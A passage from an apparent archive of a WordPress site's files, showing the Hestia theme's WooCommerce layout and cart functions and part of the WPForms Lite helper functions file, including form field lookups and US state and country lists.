if ( $main === null ) {
$main = new Main();
$main->load();
}
return $main;
}
home/xbodynamge/www/wp-content/themes/hestia/inc/compatibility/woocommerce/functions.php 0000644 00000033663 15115002615 0026006 0 ustar 00 <?php
/**
* Functions for WooCommerce which only needs to be used when WooCommerce is active.
*
* @package Hestia
* @since Hestia 1.0
*/
// Get hooks file.
require_once( 'hooks.php' );
if ( ! function_exists( 'hestia_add_to_cart' ) ) :
/**
* Custom add to cart button for WooCommerce.
*
* @since Hestia 1.0
*/
function hestia_add_to_cart() {
global $product;
if ( function_exists( 'method_exists' ) && method_exists( $product, 'get_type' ) ) {
$prod_type = $product->get_type();
} else {
$prod_type = $product->product_type;
}
if ( function_exists( 'method_exists' ) && method_exists( $product, 'get_stock_status' ) ) {
$prod_in_stock = $product->get_stock_status();
} else {
$prod_in_stock = $product->is_in_stock();
}
if ( $product ) {
$args = array();
$defaults = array(
'quantity' => 1,
'class' => implode(
' ', array_filter(
array(
'button',
'product_type_' . $prod_type,
$product->is_purchasable() && $prod_in_stock ? 'add_to_cart_button' : '',
$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : '',
)
)
),
);
$args = apply_filters( 'woocommerce_loop_add_to_cart_args', wp_parse_args( $args, $defaults ), $product );
wc_get_template( 'inc/compatibility/woocommerce/add-to-cart.php', $args );
}
}
endif;
/**
* Refresh WooCommerce cart count instantly.
*
* @since Hestia 1.0
*/
function hestia_woocommerce_header_add_to_cart_fragment( $fragments ) {
global $woocommerce;
ob_start();
?>
<a class="cart-contents btn btn-white pull-right" href="<?php echo esc_url( wc_get_cart_url() ); ?>"
title="<?php esc_attr_e( 'View your shopping cart', 'hestia' ); ?>">
<i class="fa fa-shopping-cart"></i>
<?php
/* translators: %d is number of items */
printf( _n( '%d item', '%d items', absint( $woocommerce->cart->cart_contents_count ), 'hestia' ), absint( $woocommerce->cart->cart_contents_count ) );
echo ' - ';
echo wp_kses(
$woocommerce->cart->get_cart_total(), array(
'span' => array(
'class' => array(),
),
)
);
?>
</a>
<?php
$fragments['a.cart-contents'] = ob_get_clean();
return $fragments;
}
/**
* Change the layout before the shop page main content
*/
function hestia_woocommerce_before_main_content() {
do_action( 'hestia_before_woocommerce_wrapper' );
$sidebar_layout = get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
$wrapper_class = apply_filters( 'hestia_filter_woocommerce_content_classes', 'content-full col-md-12' );
?>
<div class="<?php echo hestia_layout(); ?>">
<div class="blog-post">
<div class="container">
<?php if ( is_shop() || is_product_category() ) { ?>
<div class="before-shop-main">
<div class="row">
<?php
echo '<div class="col-xs-12 ';
if ( is_active_sidebar( 'sidebar-woocommerce' ) && ! is_singular( 'product' ) && $sidebar_layout !== 'full-width' ) {
echo 'col-sm-12';
} else {
echo 'col-sm-9';
}
echo ' col-md-9" >';
do_action( 'hestia_woocommerce_custom_reposition_left_shop_elements' );
?>
</div>
<?php
$shop_ordering_class = 'col-xs-12 col-sm-3';
if ( is_active_sidebar( 'sidebar-woocommerce' ) && ! is_singular( 'product' ) && $sidebar_layout !== 'full-width' ) {
$shop_ordering_class = 'shop-sidebar-active col-xs-9 col-sm-9';
?>
<div class="col-xs-3 col-sm-3 col-md-3 row-sidebar-toggle">
<span class="hestia-sidebar-open btn btn-border"><i class="fa fa-filter"
aria-hidden="true"></i></span>
</div>
<?php
}
?>
<div class="<?php echo esc_attr( $shop_ordering_class ); ?> col-md-3">
<?php do_action( 'hestia_woocommerce_custom_reposition_right_shop_elements' ); ?>
</div>
</div>
</div>
<?php } ?>
<article id="post-<?php the_ID(); ?>" class="section section-text">
<div class="row">
<?php
if ( $sidebar_layout === 'sidebar-left' ) {
hestia_shop_sidebar();
}
?>
<div class="<?php echo esc_attr( $wrapper_class ); ?>">
<?php
}
/**
* Change the layout after the shop page main content
*/
function hestia_woocommerce_after_main_content() {
$hestia_page_sidebar_layout = get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
?>
</div>
<?php
if ( $hestia_page_sidebar_layout === 'sidebar-right' ) {
hestia_shop_sidebar();
}
?>
</div>
</article>
</div>
</div>
<?php
}
/**
* Change the layout before each single product listing
*/
function hestia_woocommerce_before_shop_loop_item() {
echo '<div class="card card-product">';
}
/**
* Change the layout after each single product listing
*/
function hestia_woocommerce_after_shop_loop_item() {
echo '</div>';
}
/**
* Change the layout of the thumbnail on single product listing
*/
function hestia_woocommerce_template_loop_product_thumbnail() {
$thumbnail = function_exists( 'woocommerce_get_product_thumbnail' ) ? woocommerce_get_product_thumbnail() : '';
if ( empty( $thumbnail ) && function_exists( 'wc_placeholder_img' ) ) {
$thumbnail = wc_placeholder_img();
}
if ( ! empty( $thumbnail ) ) {
?>
<div class="card-image">
<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title_attribute(); ?>">
<?php echo wp_kses_post( $thumbnail ); ?>
</a>
<div class="ripple-container"></div>
</div>
<?php
}
}
/**
* Change the main content for single product listing
*/
function hestia_woocommerce_template_loop_product_title() {
global $post;
$current_product = wc_get_product( get_the_ID() );
?>
<div class="content">
<?php
$product_categories = get_the_terms( $post->ID, 'product_cat' );
$i = false;
if ( ! empty( $product_categories ) ) {
/**
* Show only the first $nb_of_cat words. If the value is modified in hestia_shop_category_words filter with
* something lower than 0 then it will display all categories.
*/
$categories_length = sizeof( $product_categories );
$nb_of_cat = apply_filters( 'hestia_shop_category_words', 2 );
$nb_of_cat = intval( $nb_of_cat );
$index = 0;
if ( $nb_of_cat !== 0 ) {
echo '<h6 class="category">';
foreach ( $product_categories as $product_category ) {
if ( $index < $nb_of_cat || $nb_of_cat < 0 ) {
$product_cat_id = $product_category->term_id;
$product_cat_name = $product_category->name;
if ( ! empty( $product_cat_id ) && ! empty( $product_cat_name ) ) {
if ( $i ) {
echo ' , ';
}
echo '<a href="' . esc_url( get_term_link( $product_cat_id, 'product_cat' ) ) . '">' . esc_html( $product_cat_name ) . '</a>';
$i = true;
}
$index ++;
}
}
echo '</h6>';
}
}
?>
<h4 class="card-title">
<?php
/**
* Explode title in words by ' ' separator and show only the first 6 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_title_words, then show the full title
*/
$title = the_title( '', '', false );
$title_in_words = explode( ' ', $title );
$title_limit = apply_filters( 'hestia_shop_title_words', - 1 );
$title_limit = intval( $title_limit );
$limited_title = $title_limit > - 1 ? hestia_limit_content( $title_in_words, $title_limit, ' ' ) : $title;
?>
<a class="shop-item-title-link" href="<?php the_permalink(); ?>"
title="<?php the_title_attribute(); ?>"><?php echo esc_html( $limited_title ); ?></a>
</h4>
<?php
if ( $post->post_excerpt ) :
/**
* Explode the excerpt in words by ' ' separator and show only the first 60 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_excerpt_words, then use the normal behavior from woocommece ( show post excerpt )
*/
$excerpt_in_words = explode( ' ', $post->post_excerpt );
$excerpt_limit = apply_filters( 'hestia_shop_excerpt_words', 60 );
$excerpt_limit = intval( $excerpt_limit );
$limited_excerpt = $excerpt_limit > - 1 ? hestia_limit_content( $excerpt_in_words, $excerpt_limit, ' ' ) : $post->post_excerpt;
?>
<div class="card-description"><?php echo wp_kses_post( apply_filters( 'woocommerce_short_description', $limited_excerpt ) ); ?></div>
<?php endif; ?>
<div class="footer">
<?php
$product_price = $current_product->get_price_html();
if ( ! empty( $product_price ) ) {
echo '<div class="price"><h4>';
echo wp_kses(
$product_price, array(
'span' => array(
'class' => array(),
),
'del' => array(),
)
);
echo '</h4></div>';
}
?>
<div class="stats">
<?php hestia_add_to_cart(); ?>
</div>
</div>
</div>
<?php
}
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function hestia_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#hestia-checkout-coupon" );
'
);
}
/**
* Checkout page
* Add the id hestia-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function hestia_coupon_after_order_table() {
echo '<div id="hestia-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Function to display sidebar on shop.
*
* @since 1.1.24
* @access public
*/
function hestia_shop_sidebar() {
$hestia_page_sidebar_layout = get_theme_mod( 'hestia_page_sidebar_layout', 'full-width' );
$class_to_add = '';
if ( $hestia_page_sidebar_layout === 'sidebar-right' ) {
$class_to_add = 'hestia-has-sidebar';
}
if ( is_active_sidebar( 'sidebar-woocommerce' ) && ! is_singular( 'product' ) ) {
?>
<div class="col-md-3 shop-sidebar-wrapper sidebar-toggle-container">
<div class="row-sidebar-toggle">
<span class="hestia-sidebar-close btn btn-border"><i class="fa fa-times" aria-hidden="true"></i></span>
</div>
<aside id="secondary" class="shop-sidebar card card-raised <?php echo esc_attr( $class_to_add ); ?>"
role="complementary">
<?php dynamic_sidebar( 'sidebar-woocommerce' ); ?>
</aside><!-- .sidebar .widget-area -->
</div>
<?php
} elseif ( is_customize_preview() && ! is_singular( 'product' ) ) {
hestia_sidebar_placeholder( $class_to_add, 'sidebar-woocommerce' );
}
}
/**
* Remove title on shop main
*
* @return bool
*/
function hestia_woocommerce_hide_page_title() {
return false;
}
/**
* Reposition breadcrumb, sorting and results count - removing
*/
function hestia_woocommerce_remove_shop_elements() {
remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
remove_action( 'woocommerce_archive_description', 'woocommerce_taxonomy_archive_description', 10 );
}
/**
* Reposition breadcrumb and results count - adding
*/
function hestia_woocommerce_reposition_left_shop_elements() {
woocommerce_breadcrumb();
woocommerce_result_count();
}
/**
* Reposition ordering - adding
*/
function hestia_woocommerce_reposition_right_shop_elements() {
woocommerce_catalog_ordering();
}
if ( ! function_exists( 'hestia_cart_link_after_primary_navigation' ) ) {
/**
* Cart Link
* Displayed a link to the cart including the number of items present and the cart total.
*
* @since 1.0.0
*/
function hestia_cart_link_after_primary_navigation() {
?>
<a href="<?php echo esc_url( wc_get_cart_url() ); ?>" title="<?php esc_attr_e( 'View cart', 'hestia' ); ?>"
class="nav-cart-icon">
<i class="fa fa-shopping-cart"></i><?php echo trim( ( WC()->cart->get_cart_contents_count() > 0 ) ? '<span>' . WC()->cart->get_cart_contents_count() . '</span>' : '' ); ?></span>
</a>
<?php
}
}
if ( ! function_exists( 'hestia_cart_link_fragment' ) ) {
/**
* Cart Fragments
* Ensure cart contents update when products are added to the cart via AJAX
*
* @param array $fragments Fragments to refresh via AJAX.
*
* @return array Fragments to refresh via AJAX.
*/
function hestia_cart_link_fragment( $fragments ) {
global $woocommerce;
ob_start();
hestia_cart_link_after_primary_navigation();
$fragments['.nav-cart-icon'] = ob_get_clean();
return $fragments;
}
}
if ( ! function_exists( 'hestia_always_show_live_cart' ) ) {
/**
* Force WC_Widget_Cart widget to show on cart and checkout pages
* Used for the live cart in header
*/
function hestia_always_show_live_cart() {
return false;
}
}
/**
* Add before cart totals code for card.
*/
function hestia_woocommerce_before_cart_totals() {
echo '<div class="card card-raised"><div class="content">';
}
/**
* Add after cart totals code for card.
*/
function hestia_woocommerce_after_cart_totals() {
echo '</div></div>';
}
/**
* Add compatibility with WooCommerce Product Images customizer controls.
*
* Because there are no filters in WooCommerce to change the default values of those controls,
* we have to update those controls in order to have the same image size as it was until now.
* This function runs only once to update those controls.
*
* Even if there were filters, woocommerce does update_options in their plugin so if we change
* the defaults it's equal with 0.
*/
function hestia_woocommerce_product_images_compatibility() {
$execute = get_option( 'hestia_update_woocommerce_customizer_controls', false );
if ( $execute !== false ) {
return;
}
update_option( 'woocommerce_thumbnail_cropping', 'custom' );
update_option( 'woocommerce_thumbnail_cropping_custom_width', '23' );
update_option( 'woocommerce_thumbnail_cropping_custom_height', '35' );
if ( class_exists( 'WC_Regenerate_Images' ) ) {
$regenerate_obj = new WC_Regenerate_Images();
$regenerate_obj::init();
if ( method_exists( $regenerate_obj, 'maybe_regenerate_images' ) ) {
$regenerate_obj::maybe_regenerate_images();
} elseif ( method_exists( $regenerate_obj, 'maybe_regenerate_images_option_update' ) ) {
// Force woocommerce 3.3.1 to regenerate images
$regenerate_obj::maybe_regenerate_images_option_update( 1, 2, '' );
}
}
update_option( 'hestia_update_woocommerce_customizer_controls', true );
}
add_action( 'after_setup_theme', 'hestia_woocommerce_product_images_compatibility' );
home/xbodynamge/namtation/wp-content/plugins/wpforms-lite/includes/functions.php 0000644 00000147142 15115033161 0024366 0 ustar 00 <?php
/**
* Contains various functions that may be potentially used throughout
* the WPForms plugin.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Helper function to trigger displaying a form.
*
* @since 1.0.2
*
* @param mixed $form_id Form ID.
* @param bool $title Form title.
* @param bool $desc Form description.
*/
function wpforms_display( $form_id = false, $title = false, $desc = false ) {
wpforms()->frontend->output( $form_id, $title, $desc );
}
/**
* Performs json_decode and unslash.
*
* @since 1.0.0
*
* @param string $data
*
* @return array|bool
*/
function wpforms_decode( $data ) {
if ( ! $data || empty( $data ) ) {
return false;
}
return wp_unslash( json_decode( $data, true ) );
}
/**
* Performs json_encode and wp_slash.
*
* @since 1.3.1.3
*
* @param mixed $data
*
* @return string
*/
function wpforms_encode( $data = false ) {
if ( empty( $data ) ) {
return false;
}
return wp_slash( wp_json_encode( $data ) );
}
/**
* Check if a string is a valid URL.
*
* @since 1.0.0
*
* @param string $url
*
* @return bool
*/
function wpforms_is_url( $url ) {
if ( preg_match( '_^(?:(?:https?|ftp)://)(?:\S+(?::\S*)?@)?(?:(?!10(?:\.\d{1,3}){3})(?!127(?:\.\d{1,3}){3})(?!169\.254(?:\.\d{1,3}){2})(?!192\.168(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)(?:\.(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)*(?:\.(?:[a-z\x{00a1}-\x{ffff}]{2,})))(?::\d{2,5})?(?:/[^\s]*)?$_iuS', trim( $url ) ) ) {
return true;
}
return false;
}
/**
* Get current URL.
*
* @since 1.0.0
*
* @return string
*/
function wpforms_current_url() {
$url = ( ! empty( $_SERVER['HTTPS'] ) ) ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
return esc_url_raw( $url );
}
/**
* Object to array.
*
* @since 1.1.7
*
* @param object $object
*
* @return mixed
*/
function wpforms_object_to_array( $object ) {
if ( ! is_object( $object ) && ! is_array( $object ) ) {
return $object;
}
if ( is_object( $object ) ) {
$object = get_object_vars( $object );
}
return array_map( 'wpforms_object_to_array', $object );
}
/**
* Get the value of a specific WPForms setting.
*
* @since 1.0.0
*
* @param string $key
* @param mixed $default
* @param string $option
*
* @return mixed
*/
function wpforms_setting( $key, $default = false, $option = 'wpforms_settings' ) {
$key = wpforms_sanitize_key( $key );
$options = get_option( $option, false );
$value = is_array( $options ) && ! empty( $options[ $key ] ) ? wp_unslash( $options[ $key ] ) : $default;
return $value;
}
/**
* Sanitize key, primarily used for looking up options.
*
* @since 1.3.9
*
* @param string $key
*
* @return string
*/
function wpforms_sanitize_key( $key = '' ) {
return preg_replace( '/[^a-zA-Z0-9_\-\.\:\/]/', '', $key );
}
/**
* Check if form provided contains the specified field type.
*
* @since 1.0.5
*
* @param array|string $type
* @param array|object $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_type( $type, $form, $multiple = false ) {
$form_data = '';
$field = false;
$type = (array) $type;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_type( $type, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( in_array( $single_field['type'], $type, true ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Check if form provided contains a field which a specific setting.
*
* @since 1.4.5
*
* @param string $setting
* @param object|array $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_setting( $setting, $form, $multiple = false ) {
$form_data = '';
$field = false;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_setting( $setting, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( ! empty( $single_field[ $setting ] ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Checks if form provided contains page breaks, if so give details.
*
* @since 1.0.0
*
* @param mixed $form
*
* @return mixed
*/
function wpforms_has_pagebreak( $form = false ) {
$form_data = '';
$pagebreak = false;
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] && empty( $field['position'] ) ) {
$pagebreak = true;
$pages ++;
}
}
if ( $pagebreak ) {
return $pages;
}
return false;
}
/**
* Tries to find and return an top or bottom pagebreak.
*
* @since 1.2.1
*
* @param mixed $form
* @param mixed $type
*
* @return array|bool
*/
function wpforms_get_pagebreak( $form = false, $type = false ) {
$form_data = '';
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
$pages = array();
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] ) {
$position = ! empty( $field['position'] ) ? $field['position'] : false;
if ( 'pages' === $type && 'bottom' !== $position ) {
$pages[] = $field;
} elseif ( $position === $type ) {
return $field;
}
}
}
if ( ! empty( $pages ) ) {
return $pages;
}
return false;
}
/**
* Returns information about pages if the form has multiple pages.
*
* @since 1.3.7
*
* @param mixed $form
*
* @return mixed false or an array
*/
function wpforms_get_pagebreak_details( $form = false ) {
$form_data = '';
$details = array();
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $field ) {
if ( 'pagebreak' === $field['type'] ) {
if ( empty( $field['position'] ) ) {
$pages ++;
$details['total'] = $pages;
$details['pages'][] = $field;
} elseif ( 'top' === $field['position'] ) {
$details['top'] = $field;
} elseif ( 'bottom' === $field['position'] ) {
$details['bottom'] = $field;
}
}
}
if ( ! empty( $details ) ) {
if ( empty( $details['top'] ) ) {
$details['top'] = array();
}
if ( empty( $details['bottom'] ) ) {
$details['bottom'] = array();
}
$details['current'] = 1;
return $details;
}
return false;
}
/**
* Formats, sanitizes, and returns/echos HTML element ID, classes, attributes,
* and data attributes.
*
* @since 1.3.7
*
* @param string $id
* @param array $class
* @param array $datas
* @param array $atts
* @param bool $echo
*
* @return string
*/
function wpforms_html_attributes( $id = '', $class = array(), $datas = array(), $atts = array(), $echo = false ) {
$id = trim( $id );
$parts = array();
if ( ! empty( $id ) ) {
$id = sanitize_html_class( $id );
if ( ! empty( $id ) ) {
$parts[] = 'id="' . $id . '"';
}
}
if ( ! empty( $class ) ) {
$class = wpforms_sanitize_classes( $class, true );
if ( ! empty( $class ) ) {
$parts[] = 'class="' . $class . '"';
}
}
if ( ! empty( $datas ) ) {
foreach ( $datas as $data => $val ) {
$parts[] = 'data-' . sanitize_html_class( $data ) . '="' . esc_attr( $val ) . '"';
}
}
if ( ! empty( $atts ) ) {
foreach ( $atts as $att => $val ) {
if ( '0' == $val || ! empty( $val ) ) {
if ( '[' === $att[0] ) {
// Handle special case for bound attributes in AMP.
$escaped_att = '[' . sanitize_html_class( trim( $att, '[]' ) ) . ']';
} else {
$escaped_att = sanitize_html_class( $att );
}
$parts[] = $escaped_att . '="' . esc_attr( $val ) . '"';
}
}
}
$output = implode( ' ', $parts );
if ( $echo ) {
echo trim( $output ); // phpcs:ignore
} else {
return trim( $output );
}
}
/**
* Sanitizes string of CSS classes.
*
* @since 1.2.1
*
* @param array|string $classes
* @param bool $convert True will convert strings to array and vice versa.
*
* @return string|array
*/
function wpforms_sanitize_classes( $classes, $convert = false ) {
$array = is_array( $classes );
$css = array();
if ( ! empty( $classes ) ) {
if ( ! $array ) {
$classes = explode( ' ', trim( $classes ) );
}
foreach ( $classes as $class ) {
if ( ! empty( $class ) ) {
$css[] = sanitize_html_class( $class );
}
}
}
if ( $array ) {
return $convert ? implode( ' ', $css ) : $css;
}
return $convert ? $css : implode( ' ', $css );
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param string $size
*
* @return int
*/
function wpforms_size_to_bytes( $size ) {
if ( is_numeric( $size ) ) {
return $size;
}
$suffix = substr( $size, - 1 );
$value = substr( $size, 0, - 1 );
switch ( strtoupper( $suffix ) ) {
case 'P':
$value *= 1024;
case 'T':
$value *= 1024;
case 'G':
$value *= 1024;
case 'M':
$value *= 1024;
case 'K':
$value *= 1024;
break;
}
return $value;
}
/**
* Convert bytes to megabytes (or in some cases KB).
*
* @since 1.0.0
*
* @param int $bytes Bytes to convert to a readable format.
*
* @return string
*/
function wpforms_size_to_megabytes( $bytes ) {
if ( $bytes < 1048676 ) {
return number_format( $bytes / 1024, 1 ) . ' KB';
} else {
return round( number_format( $bytes / 1048576, 1 ) ) . ' MB';
}
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param bool $bytes
*
* @return mixed
*/
function wpforms_max_upload( $bytes = false ) {
$max = wp_max_upload_size();
if ( $bytes ) {
return $max;
} else {
return wpforms_size_to_megabytes( $max );
}
}
/**
* Retrieve actual fields from a form.
*
* Non-posting elements such as section divider, page break, and HTML are
* automatically excluded. Optionally a white list can be provided.
*
* @since 1.0.0
*
* @param mixed $form
* @param array $whitelist
*
* @return mixed boolean or array
*/
function wpforms_get_form_fields( $form = false, $whitelist = array() ) {
// Accept form (post) object or form ID.
if ( is_object( $form ) ) {
$form = wpforms_decode( $form->post_content );
} elseif ( is_numeric( $form ) ) {
$form = wpforms()->form->get(
$form,
array(
'content_only' => true,
)
);
}
if ( ! is_array( $form ) || empty( $form['fields'] ) ) {
return false;
}
// White list of field types to allow.
$allowed_form_fields = array(
'text',
'textarea',
'select',
'radio',
'checkbox',
'gdpr-checkbox',
'email',
'address',
'url',
'name',
'hidden',
'date-time',
'phone',
'number',
'file-upload',
'rating',
'likert_scale',
'signature',
'payment-single',
'payment-multiple',
'payment-checkbox',
'payment-select',
'payment-total',
'net_promoter_score',
);
$allowed_form_fields = apply_filters( 'wpforms_get_form_fields_allowed', $allowed_form_fields );
$whitelist = ! empty( $whitelist ) ? $whitelist : $allowed_form_fields;
$form_fields = $form['fields'];
foreach ( $form_fields as $id => $form_field ) {
if ( ! in_array( $form_field['type'], $whitelist, true ) ) {
unset( $form_fields[ $id ] );
}
}
return $form_fields;
}
/**
* Conditional logic form fields supported.
*
* @since 1.5.2
*
* @return array
*/
function wpforms_get_conditional_logic_form_fields_supported() {
$fields_supported = array(
'text',
'textarea',
'select',
'radio',
'email',
'url',
'checkbox',
'number',
'payment-multiple',
'payment-checkbox',
'payment-select',
'hidden',
'rating',
'net_promoter_score',
);
return apply_filters( 'wpforms_get_conditional_logic_form_fields_supported', $fields_supported );
}
/**
* Get meta key value for a form field.
*
* @since 1.1.9
*
* @param int|string $id Field ID.
* @param string $key Meta key.
* @param mixed $form_data Form data array.
*
* @return string
*/
function wpforms_get_form_field_meta( $id = '', $key = '', $form_data = '' ) {
if ( empty( $id ) || empty( $key ) || empty( $form_data ) ) {
return '';
}
if ( ! empty( $form_data['fields'][ $id ]['meta'][ $key ] ) ) {
return $form_data['fields'][ $id ]['meta'][ $key ];
} else {
return '';
}
}
/**
* Get meta key value for a form field.
*
* @since 1.3.1
* @since 1.5.0 More strict parameters. Always return an array.
*
* @param string $key Meta key.
* @param string $value Meta value to check against.
* @param array $form_data Form data array.
*
* @return array|bool Empty array, when no data is found.
*/
function wpforms_get_form_fields_by_meta( $key, $value, $form_data ) {
$found = array();
if ( empty( $key ) || empty( $value ) || empty( $form_data['fields'] ) ) {
return $found;
}
foreach ( $form_data['fields'] as $id => $field ) {
if ( ! empty( $field['meta'][ $key ] ) && $value === $field['meta'][ $key ] ) {
$found[ $id ] = $field;
}
}
return $found;
}
/**
* US States.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_us_states() {
$states = array(
'AL' => esc_html__( 'Alabama', 'wpforms-lite' ),
'AK' => esc_html__( 'Alaska', 'wpforms-lite' ),
'AZ' => esc_html__( 'Arizona', 'wpforms-lite' ),
'AR' => esc_html__( 'Arkansas', 'wpforms-lite' ),
'CA' => esc_html__( 'California', 'wpforms-lite' ),
'CO' => esc_html__( 'Colorado', 'wpforms-lite' ),
'CT' => esc_html__( 'Connecticut', 'wpforms-lite' ),
'DE' => esc_html__( 'Delaware', 'wpforms-lite' ),
'DC' => esc_html__( 'District of Columbia', 'wpforms-lite' ),
'FL' => esc_html__( 'Florida', 'wpforms-lite' ),
'GA' => esc_html_x( 'Georgia', 'US State', 'wpforms-lite' ),
'HI' => esc_html__( 'Hawaii', 'wpforms-lite' ),
'ID' => esc_html__( 'Idaho', 'wpforms-lite' ),
'IL' => esc_html__( 'Illinois', 'wpforms-lite' ),
'IN' => esc_html__( 'Indiana', 'wpforms-lite' ),
'IA' => esc_html__( 'Iowa', 'wpforms-lite' ),
'KS' => esc_html__( 'Kansas', 'wpforms-lite' ),
'KY' => esc_html__( 'Kentucky', 'wpforms-lite' ),
'LA' => esc_html__( 'Louisiana', 'wpforms-lite' ),
'ME' => esc_html__( 'Maine', 'wpforms-lite' ),
'MD' => esc_html__( 'Maryland', 'wpforms-lite' ),
'MA' => esc_html__( 'Massachusetts', 'wpforms-lite' ),
'MI' => esc_html__( 'Michigan', 'wpforms-lite' ),
'MN' => esc_html__( 'Minnesota', 'wpforms-lite' ),
'MS' => esc_html__( 'Mississippi', 'wpforms-lite' ),
'MO' => esc_html__( 'Missouri', 'wpforms-lite' ),
'MT' => esc_html__( 'Montana', 'wpforms-lite' ),
'NE' => esc_html__( 'Nebraska', 'wpforms-lite' ),
'NV' => esc_html__( 'Nevada', 'wpforms-lite' ),
'NH' => esc_html__( 'New Hampshire', 'wpforms-lite' ),
'NJ' => esc_html__( 'New Jersey', 'wpforms-lite' ),
'NM' => esc_html__( 'New Mexico', 'wpforms-lite' ),
'NY' => esc_html__( 'New York', 'wpforms-lite' ),
'NC' => esc_html__( 'North Carolina', 'wpforms-lite' ),
'ND' => esc_html__( 'North Dakota', 'wpforms-lite' ),
'OH' => esc_html__( 'Ohio', 'wpforms-lite' ),
'OK' => esc_html__( 'Oklahoma', 'wpforms-lite' ),
'OR' => esc_html__( 'Oregon', 'wpforms-lite' ),
'PA' => esc_html__( 'Pennsylvania', 'wpforms-lite' ),
'RI' => esc_html__( 'Rhode Island', 'wpforms-lite' ),
'SC' => esc_html__( 'South Carolina', 'wpforms-lite' ),
'SD' => esc_html__( 'South Dakota', 'wpforms-lite' ),
'TN' => esc_html__( 'Tennessee', 'wpforms-lite' ),
'TX' => esc_html__( 'Texas', 'wpforms-lite' ),
'UT' => esc_html__( 'Utah', 'wpforms-lite' ),
'VT' => esc_html__( 'Vermont', 'wpforms-lite' ),
'VA' => esc_html__( 'Virginia', 'wpforms-lite' ),
'WA' => esc_html__( 'Washington', 'wpforms-lite' ),
'WV' => esc_html__( 'West Virginia', 'wpforms-lite' ),
'WI' => esc_html__( 'Wisconsin', 'wpforms-lite' ),
'WY' => esc_html__( 'Wyoming', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_us_states', $states );
}
/**
* Countries.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_countries() {
$countries = array(
'AF' => esc_html__( 'Afghanistan', 'wpforms-lite' ),
'AX' => esc_html__( 'Åland Islands', 'wpforms-lite' ),
'AL' => esc_html__( 'Albania', 'wpforms-lite' ),
'DZ' => esc_html__( 'Algeria', 'wpforms-lite' ),
'AS' => esc_html__( 'American Samoa', 'wpforms-lite' ),
'AD' => esc_html__( 'Andorra', 'wpforms-lite' ),
'AO' => esc_html__( 'Angola', 'wpforms-lite' ),
'AI' => esc_html__( 'Anguilla', 'wpforms-lite' ),
'AQ' => esc_html__( 'Antarctica', 'wpforms-lite' ),
'AG' => esc_html__( 'Antigua and Barbuda', 'wpforms-lite' ),
'AR' => esc_html__( 'Argentina', 'wpforms-lite' ),
'AM' => esc_html__( 'Armenia', 'wpforms-lite' ),
'AW' => esc_html__( 'Aruba', 'wpforms-lite' ),
'AU' => esc_html__( 'Australia', 'wpforms-lite' ),
